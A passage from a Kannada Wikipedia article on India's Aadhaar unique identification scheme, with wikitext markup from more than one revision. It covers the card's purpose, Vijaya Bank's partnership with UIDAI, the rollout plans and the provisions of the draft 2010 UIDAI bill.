ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] sr9bziognweos64px2q9ek3bcb9vqyl 1116529 1116528 2022-08-23T16:13:20Z ChiK 40016 wikitext text/x-wiki {{Infobox project | name = ಆಧಾರ್ | logo = [[ಚಿತ್ರ:ಆಧಾರ್ ಲಾಂಛನ.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[ಭಾರತ]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[ವಿದ್ಯುನ್ಮಾನ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯ]], [[ಭಾರತ]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar 